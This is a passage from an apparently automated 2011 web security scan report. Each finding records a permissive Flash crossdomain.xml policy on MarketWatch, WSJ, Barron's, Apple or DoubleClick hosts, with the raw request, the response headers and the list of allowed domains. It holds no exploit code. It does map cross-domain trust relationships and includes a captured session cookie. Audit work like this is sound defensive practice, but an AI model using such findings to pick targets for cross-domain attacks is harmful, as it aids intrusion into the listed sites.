<allow-access-from domain="*.google.co.jp" />
<allow-access-from domain="*.google.co.kr" />
<allow-access-from domain="*.google.co.nz" />
<allow-access-from domain="*.google.co.sk" />
<allow-access-from domain="*.google.co.uk" />
<allow-access-from domain="*.google.co.ve" />
<allow-access-from domain="*.google.co.za" />
<allow-access-from domain="*.google.com.ar" />
<allow-access-from domain="*.google.com.au" />
<allow-access-from domain="*.google.com.br" />
<allow-access-from domain="*.google.com.gr" />
<allow-access-from domain="*.google.com.hk" />
<allow-access-from domain="*.google.com.ly" />
<allow-access-from domain="*.google.com.mx" />
<allow-access-from domain="*.google.com.my" />
<allow-access-from domain="*.google.com.pe" />
<allow-access-from domain="*.google.com.ph" />
<allow-access-from domain="*.google.com.pk" />
<allow-access-from domain="*.google.com.ru" />
<allow-access-from domain="*.google.com.sg" />
<allow-access-from domain="*.google.com.tr" />
<allow-access-from domain="*.google.com.tw" />
<allow-access-from domain="*.google.com.ua" />
<allow-access-from domain="*.google.com.vn" />
<allow-access-from domain="*.google.de" />
<allow-access-from domain="*.google.dk" />
<allow-access-from domain="*.google.es" />
<allow-access-from domain="*.google.fi" />
<allow-access-from domain="*.google.fr" />
<allow-access-from domain="*.google.it" />
<allow-access-from domain="*.google.lt" />
<allow-access-from domain="*.google.lv" />
<allow-access-from domain="*.google.nl" />
<allow-access-from domain="*.google.no" />
<allow-access-from domain="*.google.pl" />
<allow-access-from domain="*.google.pt" />
<allow-access-from domain="*.google.ro" />
<allow-access-from domain="*.google.se" />
<allow-access-from domain="*.youtube.com" />
<allow-access-from domain="*.ytimg.com" />
<allow-access-from domain="*.2mdn.net" />
<allow-access-from domain="*.doubleclick.net" />
<allow-access-from domain="*.doubleclick.com" />
...[SNIP]...

5.35. http://i1.marketwatch.com/crossdomain.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://i1.marketwatch.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: i1.marketwatch.com

Response

HTTP/1.0 200 OK
Content-Type: text/xml
Last-Modified: Tue, 25 Nov 2008 22:25:18 GMT
Accept-Ranges: bytes
ETag: "d94169b24c4fc91:0"
Server: Microsoft-IIS/7.5
X-MACHINE: SBKSIMGWEBP01
Content-Length: 1366
Date: Sat, 14 May 2011 10:12:52 GMT
Connection: close

<?xml version="1.0"?><!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<site-control permitted-cross-domain-policies="master
...[SNIP]...
<allow-access-from domain="*.marketwatch.com" />
<allow-access-from domain="*.mktw.net" />
<allow-access-from domain="creatives.doubleclick.net" secure="true" />
...[SNIP]...
<allow-access-from domain="motifcdn.doubleclick.net"/>
<allow-access-from domain="m.doubleclick.net"/>
<allow-access-from domain="m2.doubleclick.net"/>
<allow-access-from domain="m3.doubleclick.net"/>
<allow-access-from domain="m.2mdn.net"/>
<allow-access-from domain="m2.2mdn.net"/>
<allow-access-from domain="betadfa.doubleclick.net"/>
<allow-access-from domain="dfa.doubleclick.net"/>
<allow-access-from domain="motifcdn2.doubleclick.net"/>
<allow-access-from domain="ad.doubleclick.net"/>
<allow-access-from domain="m1.2mdn.net"/>
<allow-access-from domain="*.doubleclick.net"/>
<allow-access-from domain="*.2mdn.net"/>
<allow-access-from domain="*.wsj.com"/>
<allow-access-from domain="*.allthingsd.com"/>
<allow-access-from domain="*.barrons.com"/>
<allow-access-from domain="*.wsj.net"/>
<allow-access-from domain="*.dowjones.net"/>
<allow-access-from domain="*.llnwd.net"/>
...[SNIP]...

5.36. http://i3.marketwatch.com/crossdomain.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://i3.marketwatch.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: i3.marketwatch.com

Response

HTTP/1.0 200 OK
Content-Length: 1366
Content-Type: text/xml
Last-Modified: Tue, 25 Nov 2008 22:25:18 GMT
Accept-Ranges: bytes
ETag: "d94169b24c4fc91:8037"
Server: Microsoft-IIS/6.0
X-Machine: SB-IMAGE3
X-Powered-By: ASP.NET
Date: Sat, 14 May 2011 10:25:06 GMT
Connection: close

<?xml version="1.0"?><!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<site-control permitted-cross-domain-policies="master
...[SNIP]...
<allow-access-from domain="*.marketwatch.com" />
<allow-access-from domain="*.mktw.net" />
<allow-access-from domain="creatives.doubleclick.net" secure="true" />
...[SNIP]...
<allow-access-from domain="motifcdn.doubleclick.net"/>
<allow-access-from domain="m.doubleclick.net"/>
<allow-access-from domain="m2.doubleclick.net"/>
<allow-access-from domain="m3.doubleclick.net"/>
<allow-access-from domain="m.2mdn.net"/>
<allow-access-from domain="m2.2mdn.net"/>
<allow-access-from domain="betadfa.doubleclick.net"/>
<allow-access-from domain="dfa.doubleclick.net"/>
<allow-access-from domain="motifcdn2.doubleclick.net"/>
<allow-access-from domain="ad.doubleclick.net"/>
<allow-access-from domain="m1.2mdn.net"/>
<allow-access-from domain="*.doubleclick.net"/>
<allow-access-from domain="*.2mdn.net"/>
<allow-access-from domain="*.wsj.com"/>
<allow-access-from domain="*.allthingsd.com"/>
<allow-access-from domain="*.barrons.com"/>
<allow-access-from domain="*.wsj.net"/>
<allow-access-from domain="*.dowjones.net"/>
<allow-access-from domain="*.llnwd.net"/>
...[SNIP]...

5.37. http://i4.marketwatch.com/crossdomain.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://i4.marketwatch.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: i4.marketwatch.com

Response

HTTP/1.0 200 OK
Content-Length: 1366
Content-Type: text/xml
Last-Modified: Tue, 25 Nov 2008 22:25:18 GMT
Accept-Ranges: bytes
ETag: "d94169b24c4fc91:8037"
Server: Microsoft-IIS/6.0
X-Machine: SEC-IMAGE2
X-Powered-By: ASP.NET
Date: Sat, 14 May 2011 10:25:01 GMT
Connection: close

<?xml version="1.0"?><!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<site-control permitted-cross-domain-policies="master
...[SNIP]...
<allow-access-from domain="*.marketwatch.com" />
<allow-access-from domain="*.mktw.net" />
<allow-access-from domain="creatives.doubleclick.net" secure="true" />
...[SNIP]...
<allow-access-from domain="motifcdn.doubleclick.net"/>
<allow-access-from domain="m.doubleclick.net"/>
<allow-access-from domain="m2.doubleclick.net"/>
<allow-access-from domain="m3.doubleclick.net"/>
<allow-access-from domain="m.2mdn.net"/>
<allow-access-from domain="m2.2mdn.net"/>
<allow-access-from domain="betadfa.doubleclick.net"/>
<allow-access-from domain="dfa.doubleclick.net"/>
<allow-access-from domain="motifcdn2.doubleclick.net"/>
<allow-access-from domain="ad.doubleclick.net"/>
<allow-access-from domain="m1.2mdn.net"/>
<allow-access-from domain="*.doubleclick.net"/>
<allow-access-from domain="*.2mdn.net"/>
<allow-access-from domain="*.wsj.com"/>
<allow-access-from domain="*.allthingsd.com"/>
<allow-access-from domain="*.barrons.com"/>
<allow-access-from domain="*.wsj.net"/>
<allow-access-from domain="*.dowjones.net"/>
<allow-access-from domain="*.llnwd.net"/>
...[SNIP]...

5.38. http://images.apple.com/crossdomain.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://images.apple.com
Path:	/crossdomain.xml

Issue detail

The application publishes a Flash cross-domain policy which uses a wildcard to specify allowed domains, and allows access from specific subdomains.

Using a wildcard to specify allowed domains means that any domain matching the wildcard expression can perform two-way interaction with this application. You should only use this policy if you fully trust every possible web site that may reside on a domain which matches the wildcard expression.

Allowing access from specific domains means that web sites on those domains can perform two-way interaction with this application. You should only use this policy if you fully trust the specific domains allowed by the policy.

Request

GET /crossdomain.xml HTTP/1.0
Host: images.apple.com

Response

HTTP/1.0 200 OK
Last-Modified: Thu, 02 Jun 2005 16:16:28 GMT
ETag: "8d-3f8918f48ef00"
Server: Apache/2.2.3 (Oracle)
X-Cached-Time: Mon, 21 Mar 2011 16:49:30 GMT
Content-Type: application/xml
Content-Length: 141
Cache-Control: max-age=600
Expires: Sat, 14 May 2011 11:08:38 GMT
Date: Sat, 14 May 2011 10:58:38 GMT
Connection: close
Set-Cookie: ccl=I+aDNVRdwPNzR9B/gGtzvQwqJutzIph0xeiYq1k/rpNcmlH9mwZ3nubNDI8eQo56I3kLTtpXlfocsTtRVwn4fYbq2oJAixo5o7AP5+7hC230aEFil29S20Rak3WsI6RX2sSloRETrUnxEkO93Zo6pu4u0+Av2yM2tCHdh6wbCZI9pEqm9DUfxoWs+hvP6xdkSfqECpPq88/IB7jeTMFp1mlcjLl63J8Jfw0rJqjrhpFFqUezGyaBG9zkxy0dOFEBOkG+etjT2yBk3ebB6FkRfZSeeoR/AXIkc+xxTvZUdDFKpUqPzRD8RzoDjwd6mQM37GbYzIKaAQVDvEYajjkpWis9ofczT8GTEFY2+ZT+ecgJ3XjhGLZnuXw+1QFOM1sZ8ph1XbSsSLsQgan+v1R1I3vTPVtvard3P7Rutr2X0MAtSWpOht2S2BYaUdxrJetgxhrS15jrA+AtTz/ZkQvYxQzbOBcBSDmbmN+H4MI52UgIDOSJ2QHymt0z2Dth7LDgi92ffem2f5ayiagh7prYhxhZlkm+dvJQWDZkfS4JVNzUKryQ7EP/g+MyCnrwwXjH; path=/; domain=.apple.com
Set-Cookie: geo=US; path=/; domain=.apple.com

<cross-domain-policy>
<allow-access-from domain="wdirect.apple.com" />
<allow-access-from domain="*.apple.com" />
</cross-domain-policy>

5.39. http://images.scanalert.com/crossdomain.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://images.scanalert.com
Path:	/crossdomain.xml

Issue detail

The application publishes a Flash cross-domain policy which uses a wildcard to specify allowed domains.

Using a wildcard to specify allowed domains means that any domain matching the wildcard expression can perform two-way interaction with this application. You should only use this policy if you fully trust every possible web site that may reside on a domain which matches the wildcard expression.

Request

GET /crossdomain.xml HTTP/1.0
Host: images.scanalert.com

Response

HTTP/1.0 200 OK
Server: McAfeeSecure
ETag: "EKdW2Rg2Poz"
Last-Modified: Wed, 03 Sep 2008 18:43:59 GMT
Accept-Ranges: bytes
Content-Type: text/xml; charset=utf-8
Content-Length: 116
Date: Sat, 14 May 2011 12:52:34 GMT
Connection: close
Cache-Control: private

<?xml version="1.0"?>
<cross-domain-policy>
<allow-access-from domain="*.scanalert.com"/>
</cross-domain-policy>

5.40. http://itunes.apple.com/crossdomain.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://itunes.apple.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: itunes.apple.com

Response

HTTP/1.0 200 OK
Server: Apache
Last-Modified: Thu, 12 May 2011 14:44:41 GMT
ETag: "1b0-4a3153aae8840"
Accept-Ranges: bytes
Content-Length: 432
Content-Type: text/xml
Cache-Control: public, no-transform, max-age=675
Date: Sat, 14 May 2011 10:58:07 GMT
Connection: close
X-Apple-Partner: origin.0

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<site-control permitted-cross-domain-policies="master-on
...[SNIP]...
<allow-access-from domain="*.apple.com" />
<allow-access-from domain="*.apple.com.edgesuite.net" />
<allow-access-from domain="nikeplus.nike.com"/>
<allow-access-from domain="nikerunning.nike.com"/>
...[SNIP]...

5.41. http://kara.allthingsd.com/crossdomain.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://kara.allthingsd.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: kara.allthingsd.com

Response

HTTP/1.1 200 OK
Server: nginx
Date: Sat, 14 May 2011 10:21:59 GMT
Content-Type: application/xml
Connection: close
Accept-Ranges: bytes
Last-Modified: Mon, 23 Feb 2009 23:43:21 GMT
Content-Length: 2031

<?xml version="1.0"?><!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
   <allow-access-from domain="*.doubleclick.net" />
   <allow-access-from domain="m.doubleclick.net" />
   <allow-access-from domain="*.dowjonesonline.com" />
   <allow-access-from domain="www.dowjonesonline.com" />
   <allow-access-from domain="a.marketwatch.com" />
   <allow-access-from domain="*.marketwatch.com" />
   <allow-access-from domain="www.akamai.com" />
   <allow-access-from domain="*.akamai.com" />
   <allow-access-from domain="www.wsj.com" />
   <allow-access-from domain="*.wsj.com" />
   <allow-access-from domain="wsj.com" />
   <allow-access-from domain="*.online.wsj.com" />
   <allow-access-from domain="online.wsj.com" />
   <allow-access-from domain="public.wsj.com" />
   <allow-access-from domain="*.public.wsj.com" />
   <allow-access-from domain="www.barrons.com"/>
   <allow-access-from domain="*.barrons.com"/>
   <allow-access-from domain="*.online.barrons.com"/>
   <allow-access-from domain="online.barrons.com"/>
   <allow-access-from domain="public.barrons.com"/>
   <allow-access-from domain="*.public.barrons.com"/>
   <allow-access-from domain="*.aol.com" />
   <allow-access-from domain="*.brightcove.com" />
   <allow-access-from domain="creatives.doubleclick.net" secure="true" />
...[SNIP]...
<allow-access-from domain="m.2mdn.net" secure="true" />
...[SNIP]...
<allow-access-from domain="m2.2mdn.net" secure="true" />
...[SNIP]...
<allow-access-from domain="*.2mdn.net" secure="true" />
...[SNIP]...
<allow-access-from domain="wsjdigital.com" />
   <allow-access-from domain="s.wsj.net" />
   <allow-access-from domain="www.clearspring.com" />
   <allow-access-from domain="*.clearspring.com" />
   <allow-access-from domain="*.cooliris.com" secure="false" />
...[SNIP]...
<allow-access-from domain="*.piclens.com" secure="false" />
...[SNIP]...
<allow-access-from domain="*.myspacecdn.com" />
   <allow-access-from domain="*.myspace.com" />
   <allow-access-from domain="*.dowjones.net" />
   <allow-access-from domain="aes.online.edit.dowjones.net" />
...[SNIP]...

5.42. http://online.barrons.com/crossdomain.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://online.barrons.com
Path:	/crossdomain.xml

Issue detail

The application publishes a Flash cross-domain policy which uses a wildcard to specify allowed domains, allows access from specific other domains, and allows access from specific subdomains.

Using a wildcard to specify allowed domains means that any domain matching the wildcard expression can perform two-way interaction with this application. You should only use this policy if you fully trust every possible web site that may reside on a domain which matches the wildcard expression.

Allowing access from specific domains means that web sites on those domains can perform two-way interaction with this application. You should only use this policy if you fully trust the specific domains allowed by the policy.

Request

GET /crossdomain.xml HTTP/1.0
Host: online.barrons.com

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:12:52 GMT
Server: Apache
X-DEBUG-BOX-IDENT: sbkj2kiwebp02
X-DEBUG-MODULE-VERSION: DJCS mod_mon 0.7.0.9.4a
X-DEBUG-REQUEST: /crossdomain.xml
X-DEBUG-NAMESPACE: inert-barrons
Last-Modified: Thu, 28 May 2009 20:26:42 GMT
Accept-Ranges: bytes
Content-Length: 1871
P3P: CP=CAO DSP COR CURa ADMa DEVi TAIo PSAa PSDa IVDi CONi OTPi OUR OTRi BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA OTC
Keep-Alive: timeout=2, max=50
Connection: Keep-Alive
Content-Type: text/xml

<?xml version="1.0"?><!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
       <allow-access-from domain="*.doubleclick.net" />
       <allow-access-from domain="m.doubleclick.net" />
           <allow-access-from domain="*.dowjonesonline.com" />
           <allow-access-from domain="www.dowjonesonline.com" />
           <allow-access-from domain="a.marketwatch.com" />
           <allow-access-from domain="*.marketwatch.com" />
           <allow-access-from domain="www.akamai.com" />
           <allow-access-from domain="*.akamai.com" />
           <allow-access-from domain="www.wsj.com" />
           <allow-access-from domain="*.wsj.com" />
           <allow-access-from domain="*.online.wsj.com" />
           <allow-access-from domain="online.wsj.com" />
           <allow-access-from domain="public.wsj.com" />
           <allow-access-from domain="*.public.wsj.com" />
        <allow-access-from domain="www.barrons.com" />
           <allow-access-from domain="*.barrons.com" />
           <allow-access-from domain="*.online.barrons.com" />
...[SNIP]...
<allow-access-from domain="public.barrons.com" />
           <allow-access-from domain="*.public.barrons.com" />
           <allow-access-from domain="*.aol.com" />
       <allow-access-from domain="*.brightcove.com" />
           <allow-access-from domain="creatives.doubleclick.net" secure="true" />
...[SNIP]...
<allow-access-from domain="m.2mdn.net" secure="true" />
...[SNIP]...
<allow-access-from domain="m2.2mdn.net" secure="true" />
...[SNIP]...
<allow-access-from domain="*.2mdn.net" secure="true" />
...[SNIP]...
<allow-access-from domain="wsjdigital.com" />
    <allow-access-from domain="s.wsj.net" />
    <allow-access-from domain="barrons.wsj.net" />
<allow-access-from domain="*.dowjones.net" />
<allow-access-from domain="aes.online.edit.dowjones.net" />
...[SNIP]...

5.43. http://online.wsj.com/crossdomain.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://online.wsj.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: online.wsj.com

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:09:04 GMT
Server: Apache
Last-Modified: Thu, 12 May 2011 23:03:36 GMT
Accept-Ranges: bytes
Content-Length: 3556
P3P: CP=CAO DSP COR CURa ADMa DEVi TAIo PSAa PSDa IVDi CONi OTPi OUR OTRi BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA OTC
Keep-Alive: timeout=2, max=31
Connection: Keep-Alive
Content-Type: text/xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
    <allow-access-from domain="*.doubleclick.net"/>
<allow-access-from domain="*.doubleclick.com"/>
    <allow-access-from domain="m.doubleclick.net"/>
    <allow-access-from domain="*.dowjonesonline.com"/>
    <allow-access-from domain="www.dowjonesonline.com"/>
    <allow-access-from domain="a.marketwatch.com"/>
    <allow-access-from domain="*.marketwatch.com"/>
    <allow-access-from domain="www.akamai.com"/>
    <allow-access-from domain="*.akamai.com"/>
    <allow-access-from domain="www.wsj.com"/>
    <allow-access-from domain="*.wsj.com"/>
    <allow-access-from domain="s.dev.wsj.com"/>
    <allow-access-from domain="idev.online.wsj.com"/>
    <allow-access-from domain="s.wsjsat.dowjones.net"/>
    <allow-access-from domain="s.s.dev.wsj.com"/>
<allow-access-from domain="reno.wsjqa.dowjones.net"/>
    <allow-access-from domain="*.online.wsj.com"/>
...[SNIP]...
<allow-access-from domain="quotes.wsj.com" secure="false"/>
...[SNIP]...
<allow-access-from domain="public.wsj.com"/>
    <allow-access-from domain="*.public.wsj.com"/>
<allow-access-from domain="www.barrons.com"/>
    <allow-access-from domain="*.barrons.com"/>
...[SNIP]...
<allow-access-from domain="idev.online.barrons.com"/>
    <allow-access-from domain="*.online.barrons.com"/>
    <allow-access-from domain="online.barrons.com"/>
    <allow-access-from domain="public.barrons.com"/>
    <allow-access-from domain="*.public.barrons.com"/>
    <allow-access-from domain="*.aol.com"/>
    <allow-access-from domain="*.brightcove.com"/>
    <allow-access-from domain="creatives.doubleclick.net" secure="true"/>
...[SNIP]...
<allow-access-from domain="m.2mdn.net" secure="true"/>
...[SNIP]...
<allow-access-from domain="m2.2mdn.net" secure="true"/>
...[SNIP]...
<allow-access-from domain="*.2mdn.net" secure="true"/>
...[SNIP]...
<allow-access-from domain="wsjdigital.com"/>
...[SNIP]...
<allow-access-from domain="*.cooliris.com" secure="false"/>
...[SNIP]...
<allow-access-from domain="*.piclens.com" secure="false"/>
...[SNIP]...
<allow-access-from domain="*.dowjones.net" secure="false"/>
...[SNIP]...
<allow-access-from domain="online.s.dev.wsj.com"/>
    <allow-access-from domain="quotes.s.dev.wsj.com" secure="false"/>
...[SNIP]...
<allow-access-from domain="polls.s.dev.wsj.com"/>
<allow-access-from domain="blogs.s.dev.wsj.com"/>
<allow-access-from domain="triplewebdesign.com"/>
<allow-access-from domain="ingyournumber.com"/>
   <allow-access-from domain="*.ingyournumber.com"/>
<allow-access-from domain="*.issuu.com"/>
   <allow-access-from domain="static.issuu.com"/>
    <allow-access-from domain="professional.s.dev.wsj.com"/>
    <allow-access-from domain="*.dartmotif.com"/>
    <allow-access-from domain="wsjradio.com"/>
    <allow-access-from domain="*.wsjradio.com"/>
    <allow-access-from domain="www.wsjradio.com"/>
    <allow-access-from domain="*.eyereturn.com"/>
<allow-access-from domain="fxtrader.l.dev.dowjones.com"/>
    <allow-access-from domain="fxtrader.f.dev.dowjones.com"/>
    <allow-access-from domain="fxtrader.s.dev.dowjones.com"/>
    <allow-access-from domain="fxtrader.dowjones.com"/>
    <allow-access-from domain="dowjones.visualla.com"/>
<allow-access-from domain="*.smartmoney.com"/>
...[SNIP]...

5.44. http://p.opt.fimserve.com/crossdomain.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://p.opt.fimserve.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: p.opt.fimserve.com

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
ETag: W/"695-1261547040000"
Last-Modified: Wed, 23 Dec 2009 05:44:00 GMT
Content-Type: application/xml
Content-Length: 695
Date: Sat, 14 May 2011 10:09:20 GMT
Connection: keep-alive

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy
SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="www.ksolo.com" secure="true" />
...[SNIP]...
<allow-access-from domain="staging.ksolo.com" secure="true" />
...[SNIP]...
<allow-access-from domain="staging.myspace.ksolo.com" secure="true" />
...[SNIP]...
<allow-access-from domain="ksolo.com" secure="true" />
...[SNIP]...
<allow-access-from domain="ksolo.myspace.com" secure="true" />
...[SNIP]...
<allow-access-from domain="myspace.ksolo.com" secure="true" />
...[SNIP]...
<allow-access-from domain="*.myspace.com" secure="true" />
...[SNIP]...
<allow-access-from domain="*.myspacecdn.com" secure="true" />
...[SNIP]...

5.45. http://pubads.g.doubleclick.net/crossdomain.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://pubads.g.doubleclick.net
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: pubads.g.doubleclick.net

Response

HTTP/1.0 200 OK
P3P: policyref="http://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"
Content-Type: text/x-cross-domain-policy; charset=UTF-8
Last-Modified: Thu, 04 Feb 2010 20:17:40 GMT
Date: Sat, 14 May 2011 03:47:10 GMT
Expires: Sun, 15 May 2011 03:47:10 GMT
X-Content-Type-Options: nosniff
Server: cafe
X-XSS-Protection: 1; mode=block
Age: 22964
Cache-Control: public, max-age=86400

<?xml version="1.0"?>

<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="maps.gstatic.com" />
<allow-access-from domain="maps.gstatic.cn" />
<allow-access-from domain="*.googlesyndication.com" />
<allow-access-from domain="*.google.com" />
<allow-access-from domain="*.google.ae" />
<allow-access-from domain="*.google.at" />
<allow-access-from domain="*.google.be" />
<allow-access-from domain="*.google.ca" />
<allow-access-from domain="*.google.ch" />
<allow-access-from domain="*.google.cn" />
<allow-access-from domain="*.google.co.il" />
<allow-access-from domain="*.google.co.in" />
<allow-access-from domain="*.google.co.jp" />
<allow-access-from domain="*.google.co.kr" />
<allow-access-from domain="*.google.co.nz" />
<allow-access-from domain="*.google.co.sk" />
<allow-access-from domain="*.google.co.uk" />
<allow-access-from domain="*.google.co.ve" />
<allow-access-from domain="*.google.co.za" />
<allow-access-from domain="*.google.com.ar" />
<allow-access-from domain="*.google.com.au" />
<allow-access-from domain="*.google.com.br" />
<allow-access-from domain="*.google.com.gr" />
<allow-access-from domain="*.google.com.hk" />
<allow-access-from domain="*.google.com.ly" />
<allow-access-from domain="*.google.com.mx" />
<allow-access-from domain="*.google.com.my" />
<allow-access-from domain="*.google.com.pe" />
<allow-access-from domain="*.google.com.ph" />
<allow-access-from domain="*.google.com.pk" />
<allow-access-from domain="*.google.com.ru" />
<allow-access-from domain="*.google.com.sg" />
<allow-access-from domain="*.google.com.tr" />
<allow-access-from domain="*.google.com.tw" />
<allow-access-from domain="*.google.com.ua" />
<allow-access-from domain="*.google.com.vn" />
<allow-access-from domain="*.google.de" />
<allow-access-from domain="*.google.dk" />
<allow-access-from domain="*.google.es" />
<allow-access-from domain="*.google.fi" />
<allow-access-from domain="*.google.fr" />
<allow-access-from domain="*.google.it" />
<allow-access-from domain="*.google.lt" />
<allow-access-from domain="*.google.lv" />
<allow-access-from domain="*.google.nl" />
<allow-access-from domain="*.google.no" />
<allow-access-from domain="*.google.pl" />
<allow-access-from domain="*.google.pt" />
<allow-access-from domain="*.google.ro" />
<allow-access-from domain="*.google.se" />
<allow-access-from domain="*.youtube.com" />
<allow-access-from domain="*.ytimg.com" />
<allow-access-from domain="*.2mdn.net" />
<allow-access-from domain="*.doubleclick.net" />
<allow-access-from domain="*.doubleclick.com" />
...[SNIP]...

5.46. http://r.mzstatic.com/crossdomain.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://r.mzstatic.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: r.mzstatic.com

Response

HTTP/1.0 200 OK
Server: Apache
Last-Modified: Thu, 12 May 2011 14:44:41 GMT
ETag: "1b0-4a3153aae8840"
Cache-Control: public,max-age=86400,no-transform
Content-Type: text/xml
Date: Sat, 14 May 2011 11:02:10 GMT
Content-Length: 432
Connection: close
X-N: S

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<site-control permitted-cross-domain-policies="master-on
...[SNIP]...
<allow-access-from domain="*.apple.com" />
<allow-access-from domain="*.apple.com.edgesuite.net" />
<allow-access-from domain="nikeplus.nike.com"/>
<allow-access-from domain="nikerunning.nike.com"/>
...[SNIP]...

5.47. http://s.marketwatch.com/crossdomain.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://s.marketwatch.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: s.marketwatch.com

Response

HTTP/1.0 200 OK
Server: Apache
Last-Modified: Thu, 12 May 2011 23:03:36 GMT
Accept-Ranges: bytes
Content-Length: 3556
P3P: CP=CAO DSP COR CURa ADMa DEVi TAIo PSAa PSDa IVDi CONi OTPi OUR OTRi BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA OTC
Content-Type: text/xml
Date: Sat, 14 May 2011 10:15:44 GMT
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
    <allow-access-from domain="*.doubleclick.net"/>
<allow-access-from domain="*.doubleclick.com"/>
    <allow-access-from domain="m.doubleclick.net"/>
    <allow-access-from domain="*.dowjonesonline.com"/>
    <allow-access-from domain="www.dowjonesonline.com"/>
    <allow-access-from domain="a.marketwatch.com"/>
    <allow-access-from domain="*.marketwatch.com"/>
    <allow-access-from domain="www.akamai.com"/>
    <allow-access-from domain="*.akamai.com"/>
    <allow-access-from domain="www.wsj.com"/>
    <allow-access-from domain="*.wsj.com"/>
    <allow-access-from domain="s.dev.wsj.com"/>
    <allow-access-from domain="idev.online.wsj.com"/>
    <allow-access-from domain="s.wsjsat.dowjones.net"/>
    <allow-access-from domain="s.s.dev.wsj.com"/>
<allow-access-from domain="reno.wsjqa.dowjones.net"/>
    <allow-access-from domain="*.online.wsj.com"/>
    <allow-access-from domain="online.wsj.com"/>
    <allow-access-from domain="quotes.wsj.com" secure="false"/>
...[SNIP]...
<allow-access-from domain="public.wsj.com"/>
    <allow-access-from domain="*.public.wsj.com"/>
<allow-access-from domain="www.barrons.com"/>
    <allow-access-from domain="*.barrons.com"/>
<allow-access-from domain="barrons.wsj.net"/>
    <allow-access-from domain="idev.online.barrons.com"/>
    <allow-access-from domain="*.online.barrons.com"/>
    <allow-access-from domain="online.barrons.com"/>
    <allow-access-from domain="public.barrons.com"/>
    <allow-access-from domain="*.public.barrons.com"/>
    <allow-access-from domain="*.aol.com"/>
    <allow-access-from domain="*.brightcove.com"/>
    <allow-access-from domain="creatives.doubleclick.net" secure="true"/>
...[SNIP]...
<allow-access-from domain="m.2mdn.net" secure="true"/>
...[SNIP]...
<allow-access-from domain="m2.2mdn.net" secure="true"/>
...[SNIP]...
<allow-access-from domain="*.2mdn.net" secure="true"/>
...[SNIP]...
<allow-access-from domain="wsjdigital.com"/>
    <allow-access-from domain="s.wsj.net"/>
    <allow-access-from domain="*.cooliris.com" secure="false"/>
...[SNIP]...
<allow-access-from domain="*.piclens.com" secure="false"/>
...[SNIP]...
<allow-access-from domain="*.dowjones.net" secure="false"/>
...[SNIP]...
<allow-access-from domain="online.s.dev.wsj.com"/>
    <allow-access-from domain="quotes.s.dev.wsj.com" secure="false"/>
...[SNIP]...
<allow-access-from domain="polls.s.dev.wsj.com"/>
<allow-access-from domain="blogs.s.dev.wsj.com"/>
<allow-access-from domain="triplewebdesign.com"/>
<allow-access-from domain="ingyournumber.com"/>
   <allow-access-from domain="*.ingyournumber.com"/>
<allow-access-from domain="*.issuu.com"/>
   <allow-access-from domain="static.issuu.com"/>
